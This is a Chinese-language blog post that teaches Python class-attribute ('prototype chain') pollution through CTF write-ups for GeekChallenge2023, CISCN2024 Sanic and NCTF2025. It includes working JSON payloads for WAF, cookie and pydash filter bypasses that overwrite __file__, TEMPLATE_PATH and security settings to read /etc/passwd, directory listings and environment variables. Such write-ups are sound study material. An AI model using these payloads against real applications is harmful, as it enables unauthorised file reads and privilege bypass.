初识Python原型链污染

Octopus Lv2

最近比赛频频遇到,无力感深重。现在整合资料好好学习一下

原理与利用技巧

Python 原型链污染是指通过篡改类的原型链,使得所有实例对象共享该类的一些属性或者方法。
在Python中,类变量是所有实例共享的。如果我们修改类变量,所有实例都会受到影响。

  • 类变量 是定义在类体中的变量,不依赖于实例,可以通过类或实例访问。类变量在所有实例之间是共享的,修改类变量会影响所有实例。
  • 实例变量 是定义在 __init__() 方法中的变量,属于每个实例,通过实例访问。每个实例有自己独立的实例变量,修改某个实例的变量不会影响其他实例。
    1
    2
    3
    4
    5
    class MyClass:
    class_var = 0 # 类变量

    def __init__(self, instance_var):
    self.instance_var = instance_var # 实例变量

示例一

review 一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
class example:
a = 1 # 这是一个类变量

def __init__(self, number):
self.number = number # 这是一个实例变量

def get(self):
print(self.number)

obj1 = example(5)
obj2 = example(10)
obj1.get() # 输出: 5
obj2.get() # 输出: 10
print(example.a) # 输出: 1

example.a = 20 # 修改类变量 a
obj1.get() # 输出: 5
obj2.get() # 输出: 10
print(example.a) # 输出: 20

只有 example.a 赋值才真正影响类变量

示例二

实现一些 web 功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# CONFIG.py
class Config:
is_admin = False # 默认非管理员

@classmethod
def set_config(cls, key, value):
setattr(cls, key, value)

@classmethod
def get_config(cls, key):
return getattr(cls, key, None)

# app.py
from flask import Flask, request, jsonify
from CONFIG import Config

app = Flask(__name__)

@app.route('/update_config', methods=['POST'])
def update_config():
data = request.json
for key, value in data.items():
Config.set_config(key, value)
return jsonify({"status": "success", "config": data})

@app.route('/check_admin', methods=['GET'])
def check_admin():
is_admin = Config.get_config('is_admin')
return jsonify({"is_admin": is_admin})

if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000, debug=True)

当我们控制请求为这样时,会直接创建两个新的类变量

1
2
http://ip:8081/update_config
application/json: {"theme": "dark", "language": "en"}

当我们请求为 "is_admin":"true"时,就会覆盖掉原先的值

1
2
http://ip:8081/update_config
application/json: {"is_admin": "true"}

检测当前的 admin值,看到已经变成 true

pydash 5.1.2中,pydash.set_允许通过路径的方式修改嵌套对象或类属性,甚至是 Python 内部的一些特殊属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pydash import set_

class Father:
secret_value = "safe"

class Pollution(object):
def __init__(self):
pass

pollutant = Pollution()
father = Father()

key = "__class__.__init__.__globals__.father.secret_value"
value = "polluted"

print(father.secret_value)
#safe
set_(pollutant, key, value)
print(father.secret_value)
#polluted

而在其他版本则会被阻拦

merge

在进行原型链污染攻击时,通常需要一个递归合并函数来将恶意的值注入到类的属性或对象的属性中。下方是一个标准的示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
class Father:
pass
class A(Father):
def __init__(self):
pass
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k)) # 如果 dst 是字典且 v 是字典,递归合并
else:
dst[k] = v # 否则直接赋值
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k)) # 如果 dst 是对象且 v 是字典,递归合并
else:
setattr(dst, k, v) # 否则直接设置对象的属性

a=A()
payload2 = {
"__init__" : {
"__globals__" : {
"__file__" : "/etc/passwd"
}
}
}

print(__file__) // /home/xxx/xxx/app/app.py
merge(payload2,a)
print(__file__) // /etc/passwd

并不是所有类属性都可以被污染,如 Object及一些特殊的类、属性包括元组,可能有一些内置的限制或保护机制,防止外部代码篡改这些类的属性。

动态访问

__init__

除了通过__base__找父类之外,另一些情况中,也可以通过 __init__获取全局变量及一些内置属性,如上面 merge示例中的 __init__.__globals__.__file__

获取模块

在当前模块中修改其他已加载模块的函数和属性

1
2
3
4
5
6
7
8
9
10
11
12
payload = {
"__init__" : {
"__globals__" : {
"模块名" : {
"全局变量" : x,
"类" : {
"类变量" : "y"
}
}
}
}
}

sys模块的modules属性包含了程序自开始运行时所有已加载过的模块,当环境复杂时,如多层、第三方模块导入等,可以通过 sys直接从该属性获取到目标模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
payload = {
"__init__" : {
"__globals__" : {
"sys" : {
"modules" : {
"模块名" : {
"全局变量" : x,
"类" : {
"类变量" : "y"
}
}
}
}
}
}
}

接下来进行一些实战,以下主要参考 7N 师傅复现文章,以及最近遇到的一些比赛未解题

赛题

[GeekChallenge2023]ezpython

https://github.com/SycloverTeam/GeekChallenge2023/blob/main/Web/ezpython/

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
import json
import os

from waf import waf
import importlib
from flask import Flask,render_template,request,redirect,url_for,session,render_template_string

app = Flask(__name__)
app.secret_key='jjjjggggggreekchallenge202333333'
class User():
def __init__(self):
self.username=""
self.password=""
self.isvip=False


class hhh(User):
def __init__(self):
self.username=""
self.password=""

registered_users=[]
@app.route('/')
def hello_world(): # put application's code here
return render_template("welcome.html")

@app.route('/play')
def play():
username=session.get('username')
if username:
return render_template('index.html',name=username)
else:
return redirect(url_for('login'))

@app.route('/login',methods=['GET','POST'])
def login():
if request.method == 'POST':
username=request.form.get('username')
password=request.form.get('password')
user = next((user for user in registered_users if user.username == username and user.password == password), None)
if user:
session['username'] = user.username
session['password'] = user.password
return redirect(url_for('play'))
else:
return "Invalid login"
return redirect(url_for('play'))
return render_template("login.html")

@app.route('/register',methods=['GET','POST'])
def register():
if request.method == 'POST':
try:
if waf(request.data):
return "fuck payload!Hacker!!!"
data=json.loads(request.data)
if "username" not in data or "password" not in data:
return "连用户名密码都没有你注册啥呢"
user=hhh()
merge(data,user)
registered_users.append(user)
except Exception as e:
return "泰酷辣,没有注册成功捏"
return redirect(url_for('login'))
else:
return render_template("register.html")

@app.route('/flag',methods=['GET'])
def flag():
user = next((user for user in registered_users if user.username ==session['username'] and user.password == session['password']), None)
if user:
if user.isvip:
data=request.args.get('num')
if data:
if '0' not in data and data != "123456789" and int(data) == 123456789 and len(data) <=10:
flag = os.environ.get('geek_flag')
return render_template('flag.html',flag=flag)
else:
return "你的数字不对哦!"
else:
return "I need a num!!!"
else:
return render_template_string('这种神功你不充VIP也想学?<p><img src="{{url_for(\'static\',filename=\'weixin.png\')}}">要不v我50,我送你一个VIP吧,嘻嘻</p>')
else:
return "先登录去"

def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

if __name__ == '__main__':
app.run(host="0.0.0.0",port="8888")

审计一下,很明显有 merge函数,这就是上面一直在学习的递归合并函数。
我们通过 /register路由能够注册账户,/login登录,关键点在 /flag路由:当 user.isvip判断为true时,再经过一层 int绕过,即可在页面返回 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
@app.route('/flag',methods=['GET'])
def flag():
user = next((user for user in registered_users if user.username ==session['username'] and user.password == session['password']), None)
if user:
if user.isvip:
data=request.args.get('num')
if data:
if '0' not in data and data != "123456789" and int(data) == 123456789 and len(data) <=10:
flag = os.environ.get('geek_flag')
return render_template('flag.html',flag=flag)
else:
return "你的数字不对哦!"
else:
return "I need a num!!!"
else:
return render_template_string('这种神功你不充VIP也想学?<p><img src="{{url_for(\'static\',filename=\'weixin.png\')}}">要不v我50,我送你一个VIP吧,嘻嘻</p>')
else:
return "先登录去"

正常注册 admin/admin测试,一路畅通无阻,当访问 /flag时返回结果是 500,程序报错

最开始读代码时以为需要污染的对象是 User.isvip,因为这边定义了 False,实际上 User实例变量对做题没有任何作用

1
2
3
4
5
6
7
8
9
10
class User():
def __init__(self):
self.username=""
self.password=""
self.isvip=False

class hhh(User):
def __init__(self):
self.username=""
self.password=""

对程序进行断点调试,user的所属类的确是 hhh(),所以污染并不需要找父类

攻击链构造
理清楚逻辑,可以大胆构造 Payload 了,不过这里还需要绕过 WAF

1
2
3
4
def waf(data):
data=str(data)
if "isvip" in data or "_static_folder" in data or "os" in data or "loader" in data or "defaults" in data or "kwdefaults" in data:
return True

JSON 解析器能够正确解析Unicode转义字符,通过 Unicode编码绕过

1
2
3
4
5
6
7
{
"username": "admin123",
"password": "admin123",
"__class__":{
"\u0069\u0073\u0076\u0069\u0070": "True"
}
}

最后就只需要绕过 int就好了,用 +或者空格即可

1
if '0' not in data and data != "123456789" and int(data) == 123456789 and len(data) <=10:

得到 Flag

1
http://ip/flag?num=+123456789

[CISCN2024]Sanic

访问根目录,网页源代码给了提示,访问 /src得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash
# pydash==5.1.2

class Pollute:
def __init__(self):
pass

app = Sanic(__name__)
app.static("/static/", "./static/")
Session(app)

@app.route('/', methods=['GET', 'POST'])
async def index(request):
return html(open('static/index.html').read())

@app.route("/login")
async def login(request):
user = request.cookies.get("user")
if user.lower() == 'adm;n':
request.ctx.session['admin'] = True
return text("login success")
return text("login fail")

@app.route("/src")
async def src(request):
return text(open(__file__).read())

@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
if request.ctx.session.get('admin') == True:
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and '_.' not in key:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
return text("forbidden")
return text("forbidden")

if __name__ == '__main__':
app.run(host='0.0.0.0')

版本 5.1.2,padash.set_允许通过路径的方式修改嵌套对象或类属性

1
2
3
4
5
6
7
8
9
10
11
12
# pydash==5.1.2
async def admin(request):
if request.ctx.session.get('admin') == True:
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and '_.' not in key:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
return text("forbidden")
return text("forbidden")

思路是 /src路由刚好提供了文件读取功能,污染 __file__,即可读取文件

1
2
3
@app.route("/src")
async def src(request):
return text(open(__file__).read())

/login路由登录需要我们绕过 user.lower() == 'adm;n'限制,Cookie默认是使用分号间隔,直接传入 adm;n肯定不行

1
2
3
4
5
6
7
@app.route("/login")
async def login(request):
user = request.cookies.get("user")
if user.lower() == 'adm;n':
request.ctx.session['admin'] = True
return text("login success")
return text("login fail")

这里考察的是 RFC2068 的编码规则绕过。原理是当接收到HTTP请求时,Sanic 会构造一个 Request 对象并在初始化时调用parse_cookies() 函数,该函数会对 Cookie解析,如果发现值被单引号包裹,则调用 _unquote()处理

1
2
GET /login HTTP/1.1
Cookie: user="\141\144\155\073\156"

#_unquote这段代码中对八进制做了处理

1
2
3
4
else:
res.append(str[i:j])
res.append(chr(int(str[j + 1 : j + 4], 8))) # noqa: E203
i = j + 4

site-packages/sanic/cookies/request.py#parse_cookie下断点调试

跟进 #_unquote,慢慢调试,看到返回了一个解码后的列表

最终的 Cookie就变成了 user=adm;n

接下来需要绕过 _.

1
2
3
4
if key and value and type(key) is str and '_.' not in key:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")

我们进 pydash.set_内部一点点跟读

继续读源码,发现在pydash/object.py#update_with中调用了 to_path_tokens

传入的 key此时变成了 value,重点是在 keys列表体内处理了传入的字典,同时调用了 #unescape_path_key

1
2
3
4
5
6
7
8
9
10
11
# /pydash/utilities.py#to_path_tokens
RE_PATH_KEY_DELIM = re.compile(r"(?<!\\)(?:\\\\)*\.|(\[\d+\])")

def to_path_tokens(value):
...
keys = [
PathToken(int(key[1:-1]), default_factory=list)
if RE_PATH_LIST_INDEX.match(key)
else PathToken(unescape_path_key(key), default_factory=dict)
for key in filter(None, RE_PATH_KEY_DELIM.split(value))
]

pydash/utilities.py#unescape_path_key函数对字符进行了替换

1
2
3
4
5
6
7
def unescape_path_key(key):
"""Unescape path key."""
key = key.replace(r"\\", "\\")
key = key.replace(r"\.", r".")
return key
# \\ 替换为 \
# \. 替换为 .

最后在 #base_set.setattr完成属性污染, pydash/object.py#set_ -> #set_with -> #update_with -> helpers.py#base_set

我们可以通过全局变量找到污染变量的路径

构造 Payload

1
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.__file__","value": "/etc/passwd"}

再次测试,变量已成功被污染

接下来开始就是本题最难的考点,由于不知道 FLAG文件名及路径,我们只能继续寻找可污染变量,下面给出的方法是通过原型链污染的方式来污染静态文件的目录配置

污染链挖掘
在代码中,只有app.static处存在路径功能,我们进入该函数一探究竟
在该函数参数定义中写出了,当directory_viewTrue时,Sanic 会暴露目录内容,使得我们能够查看该目录中的所有文件。directory_handler则可以定义访问的目录路径。

跟进源码,发现directory_handlerDirectoryHandler 类实例

但由于我们没办法直接在繁杂的变量堆中分辨出 diretory_view的路径,只能慢慢挨个尝试可能的路径
在找污染链时学到一个小Tricks,即元组无法被写入,在这么多变量中可以忽略掉元组。最终发现以下链子

发包

1
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": "True"}

/src路由下断点并访问,看到 directory_view变成True了 !

还需要污染 directory 来指定目录,但 directory.parts是一个元组,无法直接被污染

回到源码,跟进 DirectoryHandler,发现 diretory的类型为 Path

复现到这一步 Python 版本对不上,之前复现的师傅应该是没问题的,我们找不到对应的漏洞版本,只能把漏洞代码写出来简单分析一下:
这里跟进到 Path 类,先看类实例方法,大致就是根据操作系统选择合适的路径类,然后调用 _from_parts 方法,并检查该操作系统是否支持该路径类。如果不支持则抛出异常。最后,返回生成的对象。

再跟进 _from_parts,这里赋值了多个变量,我们要做的就是试出哪个才是存放路径的变量

打远程,成功

1
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value": ["/"]}

拿到 FLAG

[NCTF2025]ez_dash_revenge

这道题修复了 ez_dash的非预期,源码如下
对比原题加了一个黑名单,过滤掉 {}.%<>_,把模板注入函数都禁了,只能找链子做原型链污染

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
'''
Hints: Flag在环境变量中
'''


from typing import Optional


import pydash
import bottle



__forbidden_path__=['__annotations__', '__call__', '__class__', '__closure__',
'__code__', '__defaults__', '__delattr__', '__dict__',
'__dir__', '__doc__', '__eq__', '__format__',
'__ge__', '__get__', '__getattribute__',
'__gt__', '__hash__', '__init__', '__init_subclass__',
'__kwdefaults__', '__le__', '__lt__', '__module__',
'__name__', '__ne__', '__new__', '__qualname__',
'__reduce__', '__reduce_ex__', '__repr__', '__setattr__',
'__sizeof__', '__str__', '__subclasshook__', '__wrapped__',
"Optional","render"
]
__forbidden_name__=[
"bottle"
]
__forbidden_name__.extend(dir(globals()["__builtins__"]))

def setval(name:str, path:str, value:str)-> Optional[bool]:
if name.find("__")>=0: return False
for word in __forbidden_name__:
if name==word:
return False
for word in __forbidden_path__:
if path.find(word)>=0: return False
obj=globals()[name]
try:
pydash.set_(obj,path,value)
except:
return False
return True

@bottle.post('/setValue')
def set_value():
name = bottle.request.query.get('name')
path=bottle.request.json.get('path')
if not isinstance(path,str):
return "no"
if len(name)>6 or len(path)>32:
return "no"
value=bottle.request.json.get('value')
return "yes" if setval(name, path, value) else "no"

@bottle.get('/render')
def render_template():
path=bottle.request.query.get('path')
if len(path)>10:
return "hacker"
blacklist=["{","}",".","%","<",">","_"]
for c in path:
if c in blacklist:
return "hacker"
return bottle.template(path)
bottle.run(host='0.0.0.0', port=8000)

Python 原型链污染需要搭配一些危险函数利用,纵观题目源码仅有 bottle.template(path)是可以做手脚的,我们跟进 template源码看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def template(*args, **kwargs):
"""
Get a rendered template as a string iterator.
You can use a name, a filename or a template string as first parameter.
Template rendering arguments can be passed as dictionaries
or directly (as keyword arguments).
"""
tpl = args[0] if args else None
for dictarg in args[1:]:
kwargs.update(dictarg)
adapter = kwargs.pop('template_adapter', SimpleTemplate)
lookup = kwargs.pop('template_lookup', TEMPLATE_PATH)
tplid = (id(lookup), tpl)
if tplid not in TEMPLATES or DEBUG:
settings = kwargs.pop('template_settings', {})
if isinstance(tpl, adapter):
TEMPLATES[tplid] = tpl
if settings: TEMPLATES[tplid].prepare(**settings)
elif "\n" in tpl or "{" in tpl or "%" in tpl or '$' in tpl:
TEMPLATES[tplid] = adapter(source=tpl, lookup=lookup, **settings)
else:
TEMPLATES[tplid] = adapter(name=tpl, lookup=lookup, **settings)
if not TEMPLATES[tplid]:
abort(500, 'Template (%s) not found' % tpl)
return TEMPLATES[tplid].render(kwargs)

tpl就是得到我们传参,而lookup得到一个路径

1
2
3
4
# TEMPLATE_PATH = ['./', './views/']
tpl = args[0] if args else None
lookup = kwargs.pop('template_lookup', TEMPLATE_PATH)
# lookup = ['./', './views/']

往下看,adapter变成 SipleTemplate类,然后在后面被初始化。 第一个 elif我们肯定进不去,字符都被过滤了,因此只能进入 else

1
2
3
4
5
6
adapter = kwargs.pop('template_adapter', SimpleTemplate)
...
elif "\n" in tpl or "{" in tpl or "%" in tpl or '$' in tpl:
TEMPLATES[tplid] = adapter(source=tpl, lookup=lookup, **settings)
else:
TEMPLATES[tplid] = adapter(name=tpl, lookup=lookup, **settings)

跟进 SimpleTemplate类,类内没有构造函数,看到BaseTemplate是基类,继续跟进

看构造函数,赋值了一堆变量,并且定义了模板文件的绝对路径,也就是程序如何找到指定文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
class BaseTemplate(object):
def __init__(self,
source=None,
name=None,
lookup=None,
encoding='utf8', **settings):
self.name = name
self.source = source.read() if hasattr(source, 'read') else source
self.filename = source.filename if hasattr(source, 'filename') else None
self.lookup = [os.path.abspath(x) for x in lookup] if lookup else []
self.encoding = encoding
self.settings = self.settings.copy() # Copy from class variable
self.settings.update(settings) # Apply
if not self.source and self.name:
self.filename = self.search(self.name, self.lookup)
if not self.filename:
raise TemplateError('Template %s not found.' % repr(name))
if not self.source and not self.filename:
raise TemplateError('No template specified.')
self.prepare(**self.settings)

跟进 bottle.py/BaseTemplate#search,可以看到这里将lookup及传入文件进行了合并

lookup是由 TEMPLATE_PATH类变量决定,如果将其污染,是不是能做到任意路径文件读取呢?断点调试确定污染链

Payload,bottle字符被过滤,使用 __globals__访问变量, name无所谓

1
2
3
4
POST /setValue?name=a
Content-Type: application/json

{"path": "__globals__.bottle.TEMPLATE_PATH","value": ["/proc/self"]}

页面返回了no,这和预期不同,因为 pydash.set_进入了 except

1
2
3
4
try:
pydash.set_(obj,path,value)
except:
return False

删去 tryexcept,动调发现程序是返回了一个异常,调试链子:

1
pydash/object.py#set_ -> #set_with -> #update_with -> #base_get -> pydash/helpers.py#base_get_object -> helpers.py#_raise_if_restricted_key

原因如下,_raise_if_restricted_key 不允许使用 __globals__

那我们先污染掉这个类变量就好了

1
2
#helpers
RESTRICTED_KEYS = ("__globals__", "__builtins__")

确认路径

Payload

1
2
3
4
POST /setValue?name=pydash
Content-Type: application/json

{"path": "helpers.RESTRICTED_KEYS","value":[]}
1
2
3
4
POST /setValue?name=a
Content-Type: application/json

{"path": "__globals__.bottle.TEMPLATE_PATH","value": ["/proc/self"]}

读取环境变量即可

[DASCTF暑期挑战赛2024]Sanic's revenge

未完待续

参考:
https://redshome.top/posts/2024-12-10-2024%E5%9B%BD%E8%B5%9B-sanic%E5%A4%8D%E7%8E%B0/
https://yliken.github.io/2024/07/22/2024ciscn/
https://www.7ntsec.cn/?p=56
https://xz.aliyun.com/news/14057?time__1311=eqUxuiDti%3DoDwxmqGNyjDAxNKDk%2Bbe1KH4D&u_atoken=45db56fe60d05acc10ad8f5a4654fce5&u_asig=0a472f9117441169407193894e0043
https://www.cnblogs.com/gxngxngxn/p/18205235
以及其他翻阅时遗漏的文章

  • 标题: 初识Python原型链污染
  • 作者: Octopus
  • 创建于 : 2025-04-10 20:42:22
  • 更新于 : 2025-04-12 19:02:47
  • 链接: https://redefine.ohevan.com/2025/04/10/初识Python原型链污染/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论